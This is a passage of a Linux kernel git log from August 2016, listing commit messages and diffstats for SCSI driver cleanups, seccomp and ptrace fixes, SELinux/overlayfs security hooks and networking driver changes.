Fainelli arch/arm/boot/dts/bcm958625k.dts | 5 +++++ 1 file changed, 5 insertions(+) commit bb239550d8767b379be3f8bfd76d02f475754937 Author: Jon Mason Date: Wed Aug 3 14:38:57 2016 -0400 ARM: dts: NSP: Enable SATA and add i2c devices on XMC Enable SATA on bcm958625xmc and add the i2c devices present. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958525xmc.dts | 32 +++++++++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) commit 70725d6e97ac7772cd99332ddc05c7faea56fe9c Author: Jon Mason Date: Wed Aug 3 14:38:56 2016 -0400 ARM: dts: NSP: Enable SATA on bcm958625hr Add SATA support to bcm958625hr DTS Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958625hr.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 1d48390117c7df9839cf4d43ec33346e7868a53c Author: Dan Carpenter Date: Wed Aug 3 21:42:32 2016 +0300 qla2xxx: small cleanup in qla2x00_wait_for_hba_ready() The "if (test_bit(UNLOADING..." line was indented one tab more than it should have been. There was an extra parenthesis around the qla2x00_reset_active() function call. I lined up the conditions a bit so that it shows how they group together. Signed-off-by: Dan Carpenter Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_os.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 0d667f72b2a20bbac72bec0ab11467fc70bb0f1f Author: Johannes Thumshirn Date: Wed Aug 3 15:00:18 2016 +0200 mpt3sas: Don't spam logs if logging level is 0 In _scsih_io_done() we test if the ioc->logging_level does _not_ have the MPT_DEBUG_REPLY bit set and if it hasn't we print the debug messages. This unfortunately is the wrong way around. Note, the actual bug is older than af0094115 but this commit removed the CONFIG_SCSI_MPT3SAS_LOGGING Kconfig option which hid the bug. Fixes: af0094115 'mpt2sas, mpt3sas: Remove SCSI_MPTXSAS_LOGGING entry from Kconfig' Signed-off-by: Johannes Thumshirn Acked-by: Chaitra P B Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_scsih.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8bbb1cf63f5e345685d42749606d0474cfde6def Author: Calvin Owens Date: Thu Jul 28 21:38:22 2016 -0700 mpt3sas: Fix warnings exposed by W=1 Trivial non-functional changes for a couple annoying things: 1) Functions local to files are not declared static, which is frustrating when reading the code because it's non-obvious at first glance what's actually called from other files. 2) Set-but-unused variables abound, presumably to mask -Wunused-result errors in the past. None of these are flagged today though (with one exception noted below), so remove them. Fixing (2) exposed the fact that we improperly ignore the return value of scsi_device_reprobe() in _scsih_reprobe_lun(). Fixing the calling code to deal with the potential error is non-trivial, so for now just WARN(). Signed-off-by: Calvin Owens Acked-by: Chaitra P B Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_base.c | 18 +++----- drivers/scsi/mpt3sas/mpt3sas_config.c | 4 +- drivers/scsi/mpt3sas/mpt3sas_ctl.c | 29 ++++++------- drivers/scsi/mpt3sas/mpt3sas_scsih.c | 70 +++++++++++++++----------------- drivers/scsi/mpt3sas/mpt3sas_transport.c | 16 ++------ 5 files changed, 56 insertions(+), 81 deletions(-) commit 98c56ad32c33f0fd6742502bafe7003e4b8c80ed Author: Calvin Owens Date: Thu Jul 28 21:38:21 2016 -0700 mpt3sas: Eliminate dead sleep_flag code With the exception of a single call to wait_for_doorbell_int(), all this conditional sleeping code is dead. So delete it. Signed-off-by: Calvin Owens Acked-by: Chaitra P B Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_base.c | 241 +++++++++++++------------------ drivers/scsi/mpt3sas/mpt3sas_base.h | 6 +- drivers/scsi/mpt3sas/mpt3sas_config.c | 3 +- drivers/scsi/mpt3sas/mpt3sas_ctl.c | 15 +- drivers/scsi/mpt3sas/mpt3sas_scsih.c | 21 +-- drivers/scsi/mpt3sas/mpt3sas_transport.c | 12 +- 6 files changed, 120 insertions(+), 178 deletions(-) commit 96902835e7e2c7bf59db28ffd550852610169a2d Author: Calvin Owens Date: Thu Jul 28 21:38:20 2016 -0700 mpt3sas: Eliminate conditional locking in mpt3sas_scsih_issue_tm() This flag that conditionally acquires the mutex is confusing and prone to bugginess: refactor it into two separate function calls, and make the unlocked one complain if it's called outside the mutex. Signed-off-by: Calvin Owens Acked-by: Chaitra P B Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_base.h | 16 +++------ drivers/scsi/mpt3sas/mpt3sas_ctl.c | 5 ++- drivers/scsi/mpt3sas/mpt3sas_scsih.c | 66 +++++++++++++++++------------------- 3 files changed, 38 insertions(+), 49 deletions(-) commit 8ccc7d6bad84bebf1f1a6364d1fa04d3d7b575f6 Author: Mickaël Salaün Date: Mon Aug 1 23:01:57 2016 +0200 seccomp: Remove 2-phase API documentation Fixes: 8112c4f140fa ("seccomp: remove 2-phase API") Signed-off-by: Mickaël Salaün Acked-by: Kees Cook Cc: Andy Lutomirski Cc: James Morris Signed-off-by: James Morris arch/Kconfig | 11 ----------- 1 file changed, 11 deletions(-) commit 4b056a4bee006c4bd2e210d632e0ac41b3121aa9 Author: Mickaël Salaün Date: Mon Aug 1 23:01:56 2016 +0200 um/ptrace: Fix the syscall number update after a ptrace Update the syscall number after each PTRACE_SETREGS on ORIG_*AX. This is needed to get the potentially altered syscall number in the seccomp filters after RET_TRACE. This fix four seccomp_bpf tests: > [ RUN ] TRACE_syscall.skip_after_RET_TRACE > seccomp_bpf.c:1560:TRACE_syscall.skip_after_RET_TRACE:Expected -1 (18446744073709551615) == syscall(39) (26) > seccomp_bpf.c:1561:TRACE_syscall.skip_after_RET_TRACE:Expected 1 (1) == (*__errno_location ()) (22) > [ FAIL ] TRACE_syscall.skip_after_RET_TRACE > [ RUN ] TRACE_syscall.kill_after_RET_TRACE > TRACE_syscall.kill_after_RET_TRACE: Test exited normally instead of by signal (code: 1) > [ FAIL ] TRACE_syscall.kill_after_RET_TRACE > [ RUN ] TRACE_syscall.skip_after_ptrace > seccomp_bpf.c:1622:TRACE_syscall.skip_after_ptrace:Expected -1 (18446744073709551615) == syscall(39) (26) > seccomp_bpf.c:1623:TRACE_syscall.skip_after_ptrace:Expected 1 (1) == (*__errno_location ()) (22) > [ FAIL ] TRACE_syscall.skip_after_ptrace > [ RUN ] TRACE_syscall.kill_after_ptrace > TRACE_syscall.kill_after_ptrace: Test exited normally instead of by signal (code: 1) > [ FAIL ] TRACE_syscall.kill_after_ptrace Fixes: 26703c636c1f ("um/ptrace: run seccomp after ptrace") Signed-off-by: Mickaël Salaün Acked-by: Kees Cook Cc: Jeff Dike Cc: Richard Weinberger Cc: James Morris Cc: user-mode-linux-devel@lists.sourceforge.net Signed-off-by: James Morris arch/um/kernel/skas/syscall.c | 5 ----- arch/x86/um/ptrace_32.c | 3 +++ arch/x86/um/ptrace_64.c | 4 ++++ 3 files changed, 7 insertions(+), 5 deletions(-) commit 09b09cb9c569dcc3577cf064e2561ebf08605454 Author: Mickaël Salaün Date: Mon Aug 1 23:01:55 2016 +0200 um/ptrace: Fix the syscall_trace_leave call Keep the same semantic as before the commit 26703c636c1f: deallocate audit context and fake a proper syscall exit. This fix a kernel panic triggered by the seccomp_bpf test: > [ RUN ] global.ERRNO_valid > BUG: failure at kernel/auditsc.c:1504/__audit_syscall_entry()! > Kernel panic - not syncing: BUG! Fixes: 26703c636c1f ("um/ptrace: run seccomp after ptrace") Signed-off-by: Mickaël Salaün Acked-by: Kees Cook Cc: Jeff Dike Cc: Richard Weinberger Cc: James Morris Cc: user-mode-linux-devel@lists.sourceforge.net Signed-off-by: James Morris arch/um/kernel/skas/syscall.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 310c8e40d5cd2512b6d46177563460726cc6166a Author: Calvin Owens Date: Wed Jul 27 21:45:51 2016 -0700 mpt3sas: Ensure the connector_name string is NUL-terminated We blindly trust the hardware to give us NUL-terminated strings, which is a bad idea because it doesn't always do that. For example: [ 481.184784] mpt3sas_cm0: enclosure level(0x0000), connector name( \x3) In this case, connector_name is four spaces. We got lucky here because the 2nd byte beyond our character array happens to be a NUL. Fix this by explicitly writing '\0' to the end of the string to ensure we don't run off the edge of the world in printk(). Signed-off-by: Calvin Owens Acked-by: Chaitra P B Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_base.h | 2 +- drivers/scsi/mpt3sas/mpt3sas_scsih.c | 10 ++++++---- 2 files changed, 7 insertions(+), 5 deletions(-) commit a4f4528a3174646e654989262afdc8303835fcd5 Author: Mickaël Salaün Date: Sat Jul 9 20:19:15 2016 +0200 module: Fully remove the kernel_module_from_file hook Remove remaining kernel_module_from_file hook left by commit a1db74209483 ("module: replace copy_module_from_fd with kernel version") Signed-off-by: Mickaël Salaün Cc: Rusty Russell Acked-by: Kees Cook Signed-off-by: Mimi Zohar Signed-off-by: James Morris include/linux/lsm_hooks.h | 1 - include/linux/security.h | 1 - 2 files changed, 2 deletions(-) commit 2602625b7e46576b00db619ac788c508ba3bcb2c Author: Vivek Goyal Date: Wed Jul 13 10:44:52 2016 -0400 security, overlayfs: Provide hook to correctly label newly created files During a new file creation we need to make sure new file is created with the right label. New file is created in upper/ so effectively file should get label as if task had created file in upper/. We switched to mounter's creds for actual file creation. Also if there is a whiteout present, then file will be created in work/ dir first and then renamed in upper. In none of the cases file will be labeled as we want it to be. This patch introduces a new hook dentry_create_files_as(), which determines the label/context dentry will get if it had been created by task in upper and modify passed set of creds appropriately. Caller makes use of these new creds for file creation. Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley [PM: fix whitespace issues found with checkpatch.pl] [PM: changes to use stat->mode in ovl_create_or_link()] Signed-off-by: Paul Moore fs/overlayfs/dir.c | 10 ++++++++++ include/linux/lsm_hooks.h | 15 +++++++++++++++ include/linux/security.h | 12 ++++++++++++ security/security.c | 11 +++++++++++ 4 files changed, 48 insertions(+) commit c957f6df52c509ccfbb96659fd1a0f7812de333f Author: Vivek Goyal Date: Wed Jul 13 10:44:51 2016 -0400 selinux: Pass security pointer to determine_inode_label() Right now selinux_determine_inode_label() works on security pointer of current task. Soon I need this to work on a security pointer retrieved from a set of creds. So start passing in a pointer and caller can decide where to fetch security pointer from. Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley Signed-off-by: Paul Moore security/selinux/hooks.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit 19472b69d639d58415866bf127d5f9005038c105 Author: Vivek Goyal Date: Wed Jul 13 10:44:50 2016 -0400 selinux: Implementation for inode_copy_up_xattr() hook When a file is copied up in overlay, we have already created file on upper/ with right label and there is no need to copy up selinux label/xattr from lower file to upper file. In fact in case of context mount, we don't want to copy up label as newly created file got its label from context= option. Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley Signed-off-by: Paul Moore security/selinux/hooks.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 121ab822ef21914adac2fa3730efeeb8fd762473 Author: Vivek Goyal Date: Wed Jul 13 10:44:49 2016 -0400 security,overlayfs: Provide security hook for copy up of xattrs for overlay file Provide a security hook which is called when xattrs of a file are being copied up. This hook is called once for each xattr and LSM can return 0 if the security module wants the xattr to be copied up, 1 if the security module wants the xattr to be discarded on the copy, -EOPNOTSUPP if the security module does not handle/manage the xattr, or a -errno upon an error. Signed-off-by: David Howells Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley [PM: whitespace cleanup for checkpatch.pl] Signed-off-by: Paul Moore fs/overlayfs/copy_up.c | 7 +++++++ include/linux/lsm_hooks.h | 10 ++++++++++ include/linux/security.h | 6 ++++++ security/security.c | 8 ++++++++ 4 files changed, 31 insertions(+) commit 56909eb3f559103196ecbf2c08c923e0804980fb Author: Vivek Goyal Date: Wed Jul 13 10:44:48 2016 -0400 selinux: Implementation for inode_copy_up() hook A file is being copied up for overlay file system. Prepare a new set of creds and set create_sid appropriately so that new file is created with appropriate label. Overlay inode has right label for both context and non-context mount cases. In case of non-context mount, overlay inode will have the label of lower file and in case of context mount, overlay inode will have the label from context= mount option. Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley Signed-off-by: Paul Moore security/selinux/hooks.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit d8ad8b49618410ddeafd78465b63a6cedd6c9484 Author: Vivek Goyal Date: Wed Jul 13 11:13:56 2016 -0400 security, overlayfs: provide copy up security hook for unioned files Provide a security hook to label new file correctly when a file is copied up from lower layer to upper layer of a overlay/union mount. This hook can prepare a new set of creds which are suitable for new file creation during copy up. Caller will use new creds to create file and then revert back to old creds and release new creds. Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley [PM: whitespace cleanup to appease checkpatch.pl] Signed-off-by: Paul Moore fs/overlayfs/copy_up.c | 15 +++++++++++++++ include/linux/lsm_hooks.h | 11 +++++++++++ include/linux/security.h | 6 ++++++ security/security.c | 8 ++++++++ 4 files changed, 40 insertions(+) commit 6cdaf03f8c23fcbfe7d4fa6876e114193bb6b632 Author: Nicolas Iooss Date: Fri Aug 5 22:11:12 2016 +0200 RDS: add __printf format attribute to error reporting functions This is helpful to detect at compile-time errors related to format strings. Signed-off-by: Nicolas Iooss Acked-by: Santosh Shilimkar Signed-off-by: David S. Miller net/rds/ib.h | 1 + net/rds/rds.h | 1 + 2 files changed, 2 insertions(+) commit d50736a853b8633ed8c9c64a2a1487e6081b739c Author: Raju Lakkaraju Date: Fri Aug 5 17:54:21 2016 +0530 Microsemi VSC 8531/41 PHY Driver Hello, I added all review comments and re-sending for review. >From a5017f5878a92d2acec86a6a29b1498c457cb73a Mon Sep 17 00:00:00 2001 From: Nagaraju Lakkaraju Date: Wed, 3 Aug 2016 18:28:24 +0530 Subject: [PATCH v2] net: phy: Add drivers for Microsemi PHYs Signed-off-by: Nagaraju Lakkaraju Signed-off-by: David S. Miller drivers/net/phy/Kconfig | 5 ++ drivers/net/phy/Makefile | 1 + drivers/net/phy/mscc.c | 161 +++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 167 insertions(+) commit 07bf2e11ad0586855f8be5e5775a4f314ce057fe Author: Julia Lawall Date: Fri Aug 5 13:24:12 2016 +0200 net/fsl: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2,x; @@ - if (of_get_property(e1,e2,NULL)) - x = true; - else - x = false; + x = of_property_read_bool(e1,e2); // Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/freescale/xgmac_mdio.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 7f5d5af0b2f859f09b3dcb16a00b800fa48d9288 Author: Haiyang Zhang Date: Thu Aug 4 10:42:15 2016 -0700 hv_netvsc: Add handler for physical link speed change On Hyper-V host 2016 and later, VMs gets an event message of the physical link speed when vSwitch is changed. This patch handles this message, so the updated link speed can be reported by ethtool. Signed-off-by: Haiyang Zhang Reviewed-by: K. Y. Srinivasan Signed-off-by: David S. Miller drivers/net/hyperv/hyperv_net.h | 1 + drivers/net/hyperv/netvsc.c | 6 +++++- drivers/net/hyperv/netvsc_drv.c | 25 +++++++++++++++++++------ 3 files changed, 25 insertions(+), 7 deletions(-) commit b37879e6ca7079943542048da37f00a386c30cee Author: Haiyang Zhang Date: Thu Aug 4 10:42:14 2016 -0700 hv_netvsc: Add query for initial physical link speed The physical link speed value will be reported by ethtool command. The real speed is available from Windows 2016 host or later. Signed-off-by: Haiyang Zhang Reviewed-by: K. Y. Srinivasan Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 4 ++-- drivers/net/hyperv/rndis_filter.c | 24 ++++++++++++++++++++++++ 2 files changed, 26 insertions(+), 2 deletions(-) commit aeec3021043b66a1418df416e1ba83def070cef1 Author: Grygorii Strashko Date: Thu Aug 4 18:20:51 2016 +0300 net: ethernet: ti: cpdma: remove used_desc counter The struct cpdma_desc_pool->used_desc field can be safely removed from CPDMA driver (and hot patch) because used_descs counter is used just for pool consistency check at CPDMA deinitialization and now this check can be re-implemnted using gen_pool_size(pool->gen_pool) != gen_pool_avail(pool->gen_pool). More over, this will allow to get rid of warnings in cpdma_desc_pool_destro()-> WARN_ON(pool->used_desc) which may happen because the used_descs is used unprotected, since CPDMA has been switched to use genalloc, and may get wrong values on SMP. Hence, remove used_desc from struct cpdma_desc_pool. Signed-off-by: Grygorii Strashko Reviewed-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/davinci_cpdma.c | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) commit 37088f617d5b025b0e3ddd38a48e3b10ca7d89d9 Author: Michal Soltys Date: Wed Aug 3 00:44:55 2016 +0200 net/sched/sch_hfsc.c: remove unused cl_myfadj The code using this variable has been commented out in the past as it was causing issues in upperlimited link-sharing scenarios. Signed-off-by: Michal Soltys Signed-off-by: David S. Miller net/sched/sch_hfsc.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 678a6241c64ef85c0f8acd0d60ca6fd5ff3e6887 Author: Michal Soltys Date: Wed Aug 3 00:44:54 2016 +0200 net/sched/sch_hfsc.c: keep fsc and virtual times in sync; fix an old bug This patch simplifies how we update fsc and calculate vt from it - while keeping the expected functionality identical with how hfsc behaves curently. It also fixes a certain issue introduced with a very old patch. The idea is, that instead of correcting cl_vt before fsc curve update (rtsc_min) and correcting cl_vt after calculation (rtsc_y2x) to keep cl_vt local to the current period - we can simply rely on virtual times and curve values always being in sync - analogously to how rsc and usc function, except that we use virtual time here. Why hasn't it been done since the beginning this way ? The likely scenario (basing on the code trying to correct curves whenever possible) was to keep the virtual times as small as possible - as they have tendency to "gallop" forward whenever their siblings and other fair sharing subtrees are idling. On top of that, current code is subtly bugged, so cumulative time (without any corrections) is always kept and used in init_vf() when a new backlog period begins (using cl_cvtoff). Is cumulative value safe ? Generally yes, though corner cases are easy to create. For example consider: 1gbit interface some 100kbit leaf, everything else idle With current tick (64ns) 1s is 15625000 ticks, but the leaf is alone and it's virtual time, so in reality it's 10000 times more. ITOW 38 bits are needed to hold 1 second. 54 - 1 day, 59 - 1 month, 63 - 1 year (all logarithms rounded up). It's getting somewhat dangerous, but also requires setup excusing this kind of values not mentioning permanently backlogged class for a year. In near most extreme case (10gbit, 10kbit leaf), we have "enough" to hold ~13.6 days in 64 bits. Well, the issue remains mostly theoretical and cl_cvtoff has been working fine for all those years. Sensible configuration are de-facto immune to this issue, and not so sensible can solve it with a cronjob and its period inversely proportional to the insanity of such setup =) Now let's explain the subtle bug mentioned earlier. The issue is related to how offsets are kept and how we calculate virtual times and update fair service curve(s). The issue itself is subtle, but easy to observe with long m1 segments. It was introduced in rather old patch: Commit 99296150c7: "[NET_SCHED]: O(1) children vtoff adjustment in HFSC scheduler" (available in git://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.git) Originally when a new backlog period was started, cl_vtoff of each sibling was updated with cl_cvtmax from past period - naturally moving all cl_vt to proper starting point. That patch adjusted it so cumulative offset is kept in the parent, and there is no need for traversing the list (as any subsequent child activation derives new vt from already active sibling(s)). But with this change, cl_vtoff (of each sibling) is no longer persistent across the inactivity periods, as it's calculated from parent's cl_cvtoff on a new backlog period, conflicting with the following curve correction from the previous period: if (cl->cl_virtual.x == vt) { cl->cl_virtual.x -= cl->cl_vtoff; cl->cl_vtoff = 0; } This essentially tries to keep curve as if it was local to the period and resets cl_vtoff (cumulative vt offset of the class) to 0 when possible (read: when we have an intersection or if a new curve is below the old one). But then it's recalculated from cl_cvtoff on next active period. Then rtsc_min() call preceding the above if() doesn't really do what we expect it to do in such scenario - as it calculates the minimum of corrected curve (from the previous backlog period) and the new uncorrected curve (with offset derived from cl_cvtoff). Example: tc class add dev $ife parent 1:0 classid 1:1 hfsc ls m2 100mbit ul m2 100mbit tc class add dev $ife parent 1:1 classid 1:10 hfsc ls m1 80mbit d 10s m2 20mbit tc class add dev $ife parent 1:1 classid 1:11 hfsc ls m2 20mbit start B, keep it backlogged, let it run 6s (30s worth of vt as A is idle) pause B briefly to force cl_cvtoff update in parent (whole 1:1 going idle) start A, let it run 10s pause A briefly to force rtsc_min() At this point we would expect A to continue at 20mbit after a brief moment of 80mbit. But instead A will use 80mbit for full 10s again. It's the effect of first correcting A (during 'start A'), and then - after unpausing - calculating rtsc_min() from old corrected and new uncorrected curve. The patch fixes this bug and keepis vt and fsc in sync (virtual times are cumulative, not local to the backlog period). Signed-off-by: Michal Soltys Signed-off-by: David S. Miller net/sched/sch_hfsc.c | 44 ++++++++++++-------------------------------- 1 file changed, 12 insertions(+), 32 deletions(-) commit 0caf5b261b6360cac9b320fe7c2f43ed162a3e61 Author: Wei Yongjun Date: Tue Aug 2 13:49:00 2016 +0000 qed: Use DEFINE_SPINLOCK() for spinlock spinlock can be initialized automatically with DEFINE_SPINLOCK() rather than explicitly calling spin_lock_init(). Signed-off-by: Wei Yongjun Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_dev.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit a052517a8ff654f5226cf47008ebc4f7936b8f13 Author: Hangbin Liu Date: Tue Aug 2 18:02:57 2016 +0800 net/multicast: should not send source list records when have filter mode change Based on RFC3376 5.1 and RFC3810 6.1 If the per-interface listening change that triggers the new report is a filter mode change, then the next [Robustness Variable] State Change Reports will include a Filter Mode Change Record. This applies even if any number of source list changes occur in that period. Old State New State State Change Record Sent --------- --------- ------------------------ INCLUDE (A) EXCLUDE (B) TO_EX (B) EXCLUDE (A) INCLUDE (B) TO_IN (B) So we should not send source-list change if there is a filter-mode change. Here are two scenarios: 1. Group deleted and filter mode is EXCLUDE, which means we need send a TO_IN { }. 2. Not group deleted, but has pcm->crcount, which means we need send a normal filter-mode-change. At the same time, if the type is ALLOW or BLOCK, and have psf->sf_crcount, we stop add records and decrease sf_crcount directly Reference: https://www.ietf.org/mail-archive/web/magma/current/msg01274.html Signed-off-by: Hangbin Liu Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller net/ipv4/igmp.c | 10 ++++++++++ net/ipv6/mcast.c | 10 ++++++++++ 2 files changed, 20 insertions(+) commit 013ad40d3709c12fbe2edf961a7109480a2f550a Author: Philippe Reynes Date: Sat Jul 30 17:42:12 2016 +0200 net: ethernet: marvell: mvneta: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move the mvneta driver to new api {get|set}_link_ksettings. We use the generic function phy_ethtool_get_link_ksettings, and update old mvneta_ethtool_set_settings to the new api. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvneta.c | 34 +++++++++++++--------------------- 1 file changed, 13 insertions(+), 21 deletions(-) commit c6c022e3602a8165ead71d60ac7ac22e07c81d37 Author: Philippe Reynes Date: Sat Jul 30 17:42:11 2016 +0200 net: ethernet: marvell: mvneta: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phy_dev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvneta.c | 34 ++++++++++++++++------------------ 1 file changed, 16 insertions(+), 18 deletions(-) commit 72582fdb92457a1550dac0e271bde9dd906fda05 Author: Philippe Reynes Date: Sat Jul 30 16:22:06 2016 +0200 net: ethernet: greth: use phy_ethtool_{get|set}_link_ksettings There are two generics functions phy_ethtool_{get|set}_link_ksettings, so we can use them instead of defining the same code in the driver. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/aeroflex/greth.c | 23 ++--------------------- 1 file changed, 2 insertions(+), 21 deletions(-) commit 65752dda4b525730746085a351e6e936d29bc586 Author: Philippe Reynes Date: Sat Jul 30 16:22:05 2016 +0200 net: ethernet: greth: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phy in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/aeroflex/greth.c | 23 +++++++++++------------ drivers/net/ethernet/aeroflex/greth.h | 1 - 2 files changed, 11 insertions(+), 13 deletions(-) commit 0d5704bf4ebe4d83ab46a2206a74faf2fe3a77af Author: Philippe Reynes Date: Sat Jul 30 16:14:44 2016 +0200 net: ethernet: octeon: use phy_ethtool_{get|set}_link_ksettings There are two generics functions phy_ethtool_{get|set}_link_ksettings, so we can use them instead of defining the same code in the driver. There was a check on CAP_NET_ADMIN in cvm_oct_set_settings, but this check is already done in dev_ethtool, so no need to repeat it before calling the generic function. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/staging/octeon/ethernet-mdio.c | 23 ++--------------------- 1 file changed, 2 insertions(+), 21 deletions(-) commit 86bc5ed672eea892dce43e8be8b3de6e58c51d5e Author: Philippe Reynes Date: Sat Jul 30 16:14:43 2016 +0200 net: ethernet: octeon: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phydev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/staging/octeon/ethernet-mdio.c | 48 +++++++++++++------------------- drivers/staging/octeon/ethernet-rgmii.c | 2 +- drivers/staging/octeon/ethernet.c | 12 ++++---- drivers/staging/octeon/octeon-ethernet.h | 1 - 4 files changed, 26 insertions(+), 37 deletions(-) commit 11de8e62de66affb1b5a037ecacb4ee2933a9cb3 Merge: 9f3377e 09e3636 Author: David S. Miller Date: Mon Aug 8 15:41:28 2016 -0700 Merge branch 'bna-next' Ivan Vecera says: ==================== bna: remove useless global variables The set removes useless global bnad_list as well as bnad->entry that track a list of driver instances but it is not used anywhere. The associated bnad_list_mutex is removed as well but as it is also used to protect bna_id increment it is necessary to convert bna_id to atomic_t. ==================== Signed-off-by: Ivan Vecera commit 09e3636047c6b44dd4cffdbd7cf95fcd3edd3d2e Author: Ivan Vecera Date: Fri Jul 29 19:52:58 2016 +0200 bna: remove global bnad_list_mutex Remove global bnad_list_mutex as it is not used anymore. This makes bnad_add_to_list() and bnad_remove_from_list() empty so remove them too. Signed-off-by: Ivan Vecera Signed-off-by: David S. Miller drivers/net/ethernet/brocade/bna/bnad.c | 20 -------------------- 1 file changed, 20 deletions(-) commit 285eb9c37281c8c34bd604346a48d6627db51007 Author: Ivan Vecera Date: Fri Jul 29 19:52:57 2016 +0200 bna: change type of bna_id to atomic_t Change type of bna_id to atomic_t. The bnad_list_mutex is used to prevent a race when bna_id is incremented. After the change the mutex can be removed in the next step. Signed-off-by: Ivan Vecera Signed-off-by: David S. Miller drivers/net/ethernet/brocade/bna/bnad.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a1f4064b1aa34b8176bda36946bbb4a5ceeb4ce7 Author: Ivan Vecera Date: Fri Jul 29 19:52:56 2016 +0200 bna: remove useless linked list Remove global variable bnad_list and bnad->list_entry that are used as list of bna driver instances. It is not necessary and useless. Signed-off-by: Ivan Vecera Signed-off-by: David S. Miller drivers/net/ethernet/brocade/bna/bnad.c | 3 --- drivers/net/ethernet/brocade/bna/bnad.h | 1 - 2 files changed, 4 deletions(-) commit 9f3377efa6bc20c234241938ec04f2dca796d6f7 Merge: 874e1b75 e068853 Author: David S. Miller Date: Mon Aug 8 15:40:06 2016 -0700 Merge branch 'ipconfig-improve-dhcp-timeouts' Uwe Kleine-König says: ==================== net: ipconfig: improve DHCP timeout handling this series teaches the ipconfig code to handle a DHCP reply on eth0 even if a request on eth1 was already sent out. This is a follow fix to 2513dfb83fc7 ("ipconfig: handle case of delayed DHCP server") that dropped a late reply. This makes it possible at all to work with slow DHCP servers at all in some configurations and improves boot speed in general. The first patch is not really necessary, it only helps decoding debug messages when there is more than one device. ==================== Signed-off-by: David S. Miller commit e068853409aa17208e94f4ca628005cc6f51e043 Author: Uwe Kleine-König Date: Fri Jul 29 11:30:39 2016 +0200 net: ipconfig: drop inter-device timeout Now that ipconfig learned to handle "delayed replies" in the previous commit, there is no reason any more to delay sending a first request per device. Signed-off-by: Uwe Kleine-König Signed-off-by: David S. Miller net/ipv4/ipconfig.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 2647cffb2bc6fbed163d377390eb7ca552c7c1cb Author: Uwe Kleine-König Date: Fri Jul 29 11:30:38 2016 +0200 net: ipconfig: Support using "delayed" DHCP replies The dhcp code only waits 1s between sending DHCP requests on different devices and only accepts an answer for the device that sent out the last request. Only the timeout at the end of a loop is increased iteratively which favours only the last device. This makes it impossible to work with a dhcp server that takes little more than 1s connected to a device that is not the last one. Instead of also increasing the inter-device timeout, teach the code to handle delayed replies. To accomplish that, make *ic_dev track the current ic_device instead of the current net_device and adapt all users accordingly. The relevant change then is to reset d to ic_dev on a reply to assert that the followup request goes through the right device. Signed-off-by: Uwe Kleine-König Signed-off-by: David S. Miller net/ipv4/ipconfig.c | 29 ++++++++++------------------- 1 file changed, 10 insertions(+), 19 deletions(-) commit 22fc5388721154649691cc4bff5fe77a973fa68e Author: Uwe Kleine-König Date: Fri Jul 29 11:30:37 2016 +0200 net: ipconfig: Add device name to debug messages This simplifies understanding what happens when there is more than one device. Signed-off-by: Uwe Kleine-König Signed-off-by: David S. Miller net/ipv4/ipconfig.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 874e1b75f554eb4be6260c30a7b1335d23ed9512 Merge: 0e7bbcc b717241 Author: David S. Miller Date: Mon Aug 8 15:38:27 2016 -0700 Merge branch 'be2net-next' Sathya Perla says: ==================== be2net: patch set 